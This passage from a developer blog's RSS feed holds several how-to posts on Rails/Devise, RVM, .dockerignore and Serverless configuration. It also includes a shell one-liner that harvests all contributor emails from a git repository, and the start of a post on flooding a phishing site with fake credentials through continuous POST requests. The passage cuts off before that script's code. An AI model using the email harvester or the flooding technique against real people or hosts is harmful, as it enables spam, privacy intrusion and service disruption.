</span></span></span><span class="line"><span class="cl"><span class="s">  &lt;%=</span> <span class="n">f</span><span class="o">.</span><span class="n">password_field</span> <span class="ss">:password</span><span class="p">,</span> <span class="ss">placeholder</span><span class="p">:</span> <span class="s2">&#34;Password (</span><span class="si">#{</span><span class="vi">@minimum_password_length</span><span class="si">}</span><span class="s2"> characters minimum)&#34;</span><span class="p">,</span> <span class="ss">autocomplete</span><span class="p">:</span> <span class="s2">&#34;new-password&#34;</span> <span class="s">%&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">  &lt;%= f.password_field :password_confirmation, placeholder: &#39;Repeat Password&#39;, autocomplete: &#34;new-password&#34; %&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="o">&lt;%=</span> <span class="n">f</span><span class="o">.</span><span class="n">submit</span> <span class="s2">&#34;Sign up&#34;</span> <span class="s">%&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">&lt;% end %&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And this is what the form looked like after the changes were implemented:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="s">%= form_for(resource, as: resource_name, url: registration_path(resource_name), data: { turbo: false }) do |f| %&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">  &lt;%=</span> <span class="n">render</span> <span class="s2">&#34;devise/shared/error_messages&#34;</span><span class="p">,</span> <span class="ss">resource</span><span class="p">:</span> <span class="n">resource</span> <span class="s">%&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">  &lt;%= f.text_field :name, autofocus: true, placeholder: &#39;Name&#39;, autocomplete: &#34;name&#34; %&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="o">&lt;</span><span class="s">%= f.email_field :email, autofocus: true, placeholder: &#39;Email&#39;, autocomplete: &#34;email&#34; %&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">  &lt;%=</span> <span class="n">f</span><span class="o">.</span><span class="n">password_field</span> <span class="ss">:password</span><span class="p">,</span> <span class="ss">placeholder</span><span class="p">:</span> <span class="s2">&#34;Password (</span><span class="si">#{</span><span class="vi">@minimum_password_length</span><span class="si">}</span><span class="s2"> characters minimum)&#34;</span><span class="p">,</span> <span class="ss">autocomplete</span><span class="p">:</span> <span class="s2">&#34;new-password&#34;</span> <span class="s">%&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">  &lt;%= f.password_field :password_confirmation, placeholder: &#39;Repeat Password&#39;, autocomplete: &#34;new-password&#34; %&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="o">&lt;%=</span> <span class="n">f</span><span class="o">.</span><span class="n">submit</span> <span class="s2">&#34;Sign up&#34;</span> <span class="s">%&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">&lt;% end %&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Alternatively, another solution that worked for me to fix new user registrations was to modify <code>config/initializers/devise.rb</code>.
I added the following line:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">Devise</span><span class="o">.</span><span class="n">setup</span> <span class="k">do</span> <span class="o">|</span><span class="n">config</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="c1">#</span>
</span></span><span class="line"><span class="cl">  <span class="c1"># new line</span>
</span></span><span class="line"><span class="cl">  <span class="n">config</span><span class="o">.</span><span class="n">navigational_formats</span> <span class="o">=</span> <span class="o">[</span><span class="s1">&#39;*/*&#39;</span><span class="p">,</span> <span class="ss">:html</span><span class="p">,</span> <span class="ss">:turbo_stream</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">  <span class="c1">#</span>
</span></span><span class="line"><span class="cl">  <span class="c1">#</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>This line was present (but commented out) in the default Devise installation. However, the only two formats present were <code>'*/*'</code> and <code>:html</code>.
The <code>:turbo_stream</code> format had to be added.</p>
<p>This resolved the new user registration issue without having to add <code>data: { turbo: false }</code> to the view. I don&rsquo;t know which approach is best, so you may want to do further research.</p>
<p>This is what worked for me, but there are other potential solutions in the references below. Some of the solutions didn&rsquo;t work for me, but they may work for you.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://github.com/rails/rails/issues/44185" target="_blank" rel="noopener">https://github.com/rails/rails/issues/44185</a></li>
<li>

<a href="https://github.com/hotwired/hotwire-rails/issues/41#issuecomment-946649719" target="_blank" rel="noopener">https://github.com/hotwired/hotwire-rails/issues/41#issuecomment-946649719</a></li>
<li>

<a href="https://github.com/heartcombo/devise/issues/5439" target="_blank" rel="noopener">https://github.com/heartcombo/devise/issues/5439</a></li>
<li>

<a href="https://world.hey.com/dhh/rails-7-will-have-three-great-answers-to-javascript-in-2021-8d68191b" target="_blank" rel="noopener">https://world.hey.com/dhh/rails-7-will-have-three-great-answers-to-javascript-in-2021-8d68191b</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Set a Default Ruby Version with Ruby Version Manager (RVM)</title>
      <link>https://nelson.cloud/set-a-default-ruby-version-with-ruby-version-manager-rvm/?ref=rss</link>
      <pubDate>Sun, 06 Nov 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/set-a-default-ruby-version-with-ruby-version-manager-rvm/?ref=rss</guid>
      <description>Set a default Ruby version using RVM with rvm &amp;ndash;default use &lt;version number&gt;</description><content:encoded><![CDATA[<p>To set the system-wide version of Ruby with <code>rvm</code> run:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">rvm --default use &lt;version number&gt;
</span></span></code></pre></td></tr></table>
</blockquote><p>For example, to use 3.1.2 as the default version system-wide, run:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">rvm --default use 3.1.2
</span></span></code></pre></td></tr></table>
</blockquote><p>Now this version will be used even when a new terminal tab or window is opened.</p>
<p>References:</p>
<ul>
<li>

<a href="https://rvm.io/rubies/default" target="_blank" rel="noopener">https://rvm.io/rubies/default</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Ignore Files Across All Subdirectories in .dockerignore</title>
      <link>https://nelson.cloud/ignore-files-across-all-subdirectories-in-.dockerignore/?ref=rss</link>
      <pubDate>Tue, 01 Nov 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/ignore-files-across-all-subdirectories-in-.dockerignore/?ref=rss</guid>
      <description>How to recursively ignore files when building Docker images.</description><content:encoded><![CDATA[<p>Ignoring files within directories using <code>.dockerignore</code> is a bit different compared to <code>.gitignore</code>.</p>
<p>To ignore a file across all subdirectories, prefix the filename with <code>**</code>.
For example, to ignore the file <code>file.txt</code> in all subdirectories, add the following to <code>.dockerignore</code>:</p>
<pre tabindex="0"><code>**file.txt
</code></pre><p>Another example to ignore <code>.DS_Store</code> files on macOS devices:</p>
<pre tabindex="0"><code>**.DS_Store
</code></pre><p>To ignore a specific file extension across all subdirectories, prefix the file extension with <code>**/*</code>. In this example, all files with the <code>.txt</code> extension will be ignored by Docker:</p>
<pre tabindex="0"><code>**/*.txt
</code></pre><p>Also, keep in mind that <code>.dockerignore</code> should be in the root of the context you are passing in to Docker or it won&rsquo;t be taken into account.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Adding Environment Variables to Serverless Functions</title>
      <link>https://nelson.cloud/adding-environment-variables-to-serverless-functions/?ref=rss</link>
      <pubDate>Sat, 10 Sep 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/adding-environment-variables-to-serverless-functions/?ref=rss</guid>
      <description>How to add environment variables to Serverless functions</description><content:encoded><![CDATA[<p>Environment variables can be set for each individual Serverless function or at the provider level for all functions.</p>
<h2 id="set-environment-variables-for-individual-functions">Set Environment Variables for Individual Functions</h2>
<p>To add environment variables to a Serverless function, define them using <code>environment</code> under the function name. In the example below, the function <code>function1</code> will have the environment variable <code>S3_BUCKET_NAME</code> defined:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">provider</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">aws</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">runtime</span><span class="p">:</span><span class="w"> </span><span class="l">python3.9</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">stage</span><span class="p">:</span><span class="w"> </span><span class="l">production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">region</span><span class="p">:</span><span class="w"> </span><span class="l">us-west-1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">functions</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">function1</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">handler</span><span class="p">:</span><span class="w"> </span><span class="l">function.lambda_handler</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">S3_BUCKET_NAME</span><span class="p">:</span><span class="w"> </span><span class="l">bucket1</span><span class="w"> </span><span class="c"># setting environment variable</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><h2 id="set-environment-variables-for-all-functions">Set Environment Variables for All Functions</h2>
<p>It&rsquo;s also possible to add environment variables to all functions in the Serverless template by defining variables under <code>provider:</code>. In the example below, the functions <code>function1</code> and <code>function2</code> will have the environment variable <code>S3_BUCKET_NAME</code> defined:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">provider</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">aws</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">runtime</span><span class="p">:</span><span class="w"> </span><span class="l">python3.9</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">stage</span><span class="p">:</span><span class="w"> </span><span class="l">production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">region</span><span class="p">:</span><span class="w"> </span><span class="l">us-west-1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">S3_BUCKET_NAME</span><span class="p">:</span><span class="w"> </span><span class="l">my-bucket</span><span class="w"> </span><span class="c"># setting env variable for all functions</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">functions</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">function1</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">handler</span><span class="p">:</span><span class="w"> </span><span class="l">function1.lambda_handler</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">function2</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">handler</span><span class="p">:</span><span class="w"> </span><span class="l">function2.lambda_handler</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><h2 id="combining-both-ways-of-setting-environment-variables">Combining Both Ways of Setting Environment Variables</h2>
<p>Finally, it&rsquo;s possible to add environment variables under <code>provider</code> as well as under each function.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">provider</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">aws</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">runtime</span><span class="p">:</span><span class="w"> </span><span class="l">python3.9</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">stage</span><span class="p">:</span><span class="w"> </span><span class="l">production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">region</span><span class="p">:</span><span class="w"> </span><span class="l">us-west-1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">environment</span><span class="p">:</span><span class="w"> </span><span class="c"># env variables for all functions</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">STAGE</span><span class="p">:</span><span class="w"> </span><span class="l">production</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">REGION</span><span class="p">:</span><span class="w"> </span><span class="l">us-west-1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">functions</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">function1</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">handler</span><span class="p">:</span><span class="w"> </span><span class="l">function1.lambda_handler</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">S3_BUCKET_NAME</span><span class="p">:</span><span class="w"> </span><span class="l">bucket1</span><span class="w"> </span><span class="c"># setting env variable for only function1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">function2</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">handler</span><span class="p">:</span><span class="w"> </span><span class="l">function2.lambda_handler</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">TABLE_NAME</span><span class="p">:</span><span class="w"> </span><span class="l">table</span><span class="w"> </span><span class="c"># setting env variable for only function2</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>In this case, both <code>function1</code> and <code>function2</code> will have both the <code>STAGE</code> and <code>REGION</code> environment variables set, but <code>function1</code> will have <code>S3_BUCKET_NAME</code> set while <code>function2</code> will have <code>TABLE_NAME</code> set.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Scrape Contributor Emails From Any Git Repository</title>
      <link>https://nelson.cloud/scrape-contributor-emails-from-any-git-repository/?ref=rss</link>
      <pubDate>Thu, 21 Jul 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/scrape-contributor-emails-from-any-git-repository/?ref=rss</guid>
      <description>Scraping contributor emails from git repositories using git shortlog.</description><content:encoded><![CDATA[<p>In a 

<a href="https://nelson.cloud/scraping-github-contributor-emails/">previous post</a> I wrote about how it&rsquo;s possible to scrape emails from GitHub repositories using their API.
I even wrote up a 

<a href="https://github.com/nelsonfigueroa/github-email-scraper" target="_blank" rel="noopener">Ruby script</a> to do this.
I now realize that is a very complicated way to go about it after discovering the <code>git shortlog</code> command.</p>
<p>With <code>git shortlog</code> you can list all contributor emails for any git repository, not just GitHub repos.</p>
<blockquote><p><strong>Disclaimer:</strong></p>I am writing about this to make others aware of this form of scraping and it is purely for educational purposes. I do not plan on doing anything with emails from git repos and you shouldn’t either.</blockquote>

<blockquote><p><strong>tl;dr:</strong></p><p>You can run this command within any git repo to extract all contributor emails:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git shortlog -sea <span class="p">|</span> grep -E -o <span class="s2">&#34;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&#34;</span> <span class="p">|</span> awk <span class="s1">&#39;{print tolower($0)}&#39;</span> <span class="p">|</span> sort <span class="p">|</span> uniq <span class="p">|</span> grep -wv <span class="s1">&#39;users.noreply.github.com&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<h2 id="command-break-down">Command Break Down</h2>
<p>The <code>git shortlog -sea</code> part of the command is short for <code>git shortlog --summary --email --all</code>. This command outputs the number of commits each user has made, along with their name and email, across all branches.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git shortlog -sea
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="m">54</span>  First Last &lt;FirstLast@example.com&gt;
</span></span><span class="line"><span class="cl">   <span class="m">385</span>  Another User &lt;Anotheruser@example.com&gt;
</span></span><span class="line"><span class="cl">     <span class="m">2</span>  user1 &lt;user1@example.com&gt;
</span></span><span class="line"><span class="cl">    <span class="m">31</span>  first last &lt;firstlast@example.com&gt;
</span></span><span class="line"><span class="cl">    <span class="m">10</span>  Someone Else &lt;1234567+someoneelse@users.noreply.github.com&gt;
</span></span></code></pre></td></tr></table>
</blockquote><p>The next command, <code>grep -E -o &quot;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&quot;</code>, extracts emails from each line using a regular expression.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git shortlog -sea <span class="p">|</span> grep -E -o <span class="s2">&#34;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">FirstLast@example.com
</span></span><span class="line"><span class="cl">Anotheruser@example.com
</span></span><span class="line"><span class="cl">user1@example.com
</span></span><span class="line"><span class="cl">firstlast@example.com
</span></span><span class="line"><span class="cl">1234567+someoneelse@users.noreply.github.com
</span></span></code></pre></td></tr></table>
</blockquote><p>The output from the previous command is piped into <code>awk '{print tolower($0)}'</code>, which lowercases all the emails. Sometimes emails are typed in with capital letters. Lowercasing all characters will help with sorting and finding unique emails later.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git shortlog -sea <span class="p">|</span> grep -E -o <span class="s2">&#34;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&#34;</span> <span class="p">|</span> awk <span class="s1">&#39;{print tolower($0)}&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">firstlast@example.com
</span></span><span class="line"><span class="cl">anotheruser@example.com
</span></span><span class="line"><span class="cl">user1@example.com
</span></span><span class="line"><span class="cl">firstlast@example.com
</span></span><span class="line"><span class="cl">1234567+someoneelse@users.noreply.github.com
</span></span></code></pre></td></tr></table>
</blockquote><p>After that, the output is piped into <code>sort</code> and <code>uniq</code>. These commands are straightforward. The emails are sorted alphabetically, then duplicates are excluded from the output.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git shortlog -sea <span class="p">|</span> grep -E -o <span class="s2">&#34;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&#34;</span> <span class="p">|</span> awk <span class="s1">&#39;{print tolower($0)}&#39;</span> <span class="p">|</span> sort <span class="p">|</span> uniq
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1234567+someoneelse@users.noreply.github.com
</span></span><span class="line"><span class="cl">anotheruser@example.com
</span></span><span class="line"><span class="cl">firstlast@example.com
</span></span><span class="line"><span class="cl">user1@example.com
</span></span></code></pre></td></tr></table>
</blockquote><p>That should suffice for a lot of git repos, but I also added <code>grep -wv 'users.noreply.github.com'</code> to the end of the command to exclude noreply emails associated with GitHub.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git shortlog -sea <span class="p">|</span> grep -E -o <span class="s2">&#34;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&#34;</span> <span class="p">|</span> awk <span class="s1">&#39;{print tolower($0)}&#39;</span> <span class="p">|</span> sort <span class="p">|</span> uniq <span class="p">|</span> grep -wv <span class="s1">&#39;users.noreply.github.com&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">anotheruser@example.com
</span></span><span class="line"><span class="cl">firstlast@example.com
</span></span><span class="line"><span class="cl">user1@example.com
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="extracting-emails-with-git-log">Extracting Emails With <code>git log</code></h2>
<p>It&rsquo;s possible to do something similar with the <code>git log --pretty=&quot;%ce&quot;</code> command. However, I noticed that this command does not show as many emails as <code>git shortlog</code>. I didn&rsquo;t look too much into it, but I believe it only pulls emails from one branch rather than all branches like with <code>git shortlog --all</code>.</p>
<h2 id="references">References</h2>
<p>I learned about <code>git shortlog</code> from this Stack Overflow question:</p>
<ul>
<li>

<a href="https://stackoverflow.com/questions/9597410/list-all-developers-on-a-project-in-git" target="_blank" rel="noopener">https://stackoverflow.com/questions/9597410/list-all-developers-on-a-project-in-git</a></li>
</ul>
<p>I got the email regex from here:</p>
<ul>
<li>

<a href="https://www.shellhacks.com/regex-find-email-addresses-file-grep/" target="_blank" rel="noopener">https://www.shellhacks.com/regex-find-email-addresses-file-grep/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Using Python to Flood Scammers with Fake Passwords</title>
      <link>https://nelson.cloud/using-python-to-flood-scammers-with-fake-passwords/?ref=rss</link>
      <pubDate>Sat, 02 Jul 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/using-python-to-flood-scammers-with-fake-passwords/?ref=rss</guid>
      <description>Creating a python script to flood scammers with fake credentials.</description><content:encoded><![CDATA[<h2 id="phishing-attempt-via-text-message">Phishing Attempt via Text Message</h2>
<p>Today, I received this text message that is obviously a phishing attempt:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/scam-text.webp" alt="Fake text received from scammers." width="720" height="351" style="max-width: 100%; height: auto; aspect-ratio: 888 / 434;" loading="lazy" decoding="async">
<br>
<p>I was curious, so I went ahead and checked out the site. It was a mediocre attempt at recreating the actual site.</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/phishing-site.webp" alt="The fake Citi bank phishing site." width="720" height="377" style="max-width: 100%; height: auto; aspect-ratio: 3570 / 1874;" loading="lazy" decoding="async">
<br>
<p>I opened my browser&rsquo;s dev tools to capture network activity. Then I submitted some made up credentials. Unsurprisingly, they didn&rsquo;t work:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/sign-in-fail.webp" alt="Failed sign in on the phishing site." width="720" height="286" style="max-width: 100%; height: auto; aspect-ratio: 1036 / 412;" loading="lazy" decoding="async">
<br>
<p>In the dev tools, I checked the headers tab to see that the requests were actually going to <code>https://toys-store.site/citi.php</code>:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/request-headers.webp" alt="Request headers showing where requests were being sent." width="720" height="333" style="max-width: 100%; height: auto; aspect-ratio: 2444 / 1132;" loading="lazy" decoding="async">
<br>
<p>I could also see my credentials in the payload:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/request-payload.webp" alt="Request payload showing fake credentials submitted." width="720" height="334" style="max-width: 100%; height: auto; aspect-ratio: 2446 / 1136;" loading="lazy" decoding="async">
<br>
<p>With this information, I could create a Python script to flood the scammers with fake credentials. This way, they won&rsquo;t know what credentials are valid when using them themselves.</p>
<h2 id="creating-a-python-script">Creating a Python Script</h2>
<p>My plan was to create a loop that would continuously send POST requests to the scammer site.
I wanted to speed up the amount of <code>POST</code> requests I could send at a time. I came across the 

<a href="https://docs.python.org/3/library/multiprocessing.html" target="_blank" rel="noopener">multiprocessing</a> package that could help me with that.
I also planned on using 

<a href="https://faker.readthedocs.io/" target="_blank" rel="noopener">Faker</a> to dynamically generate credentials.</p>
<p>I came up with the following code:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span></code></pre></td>
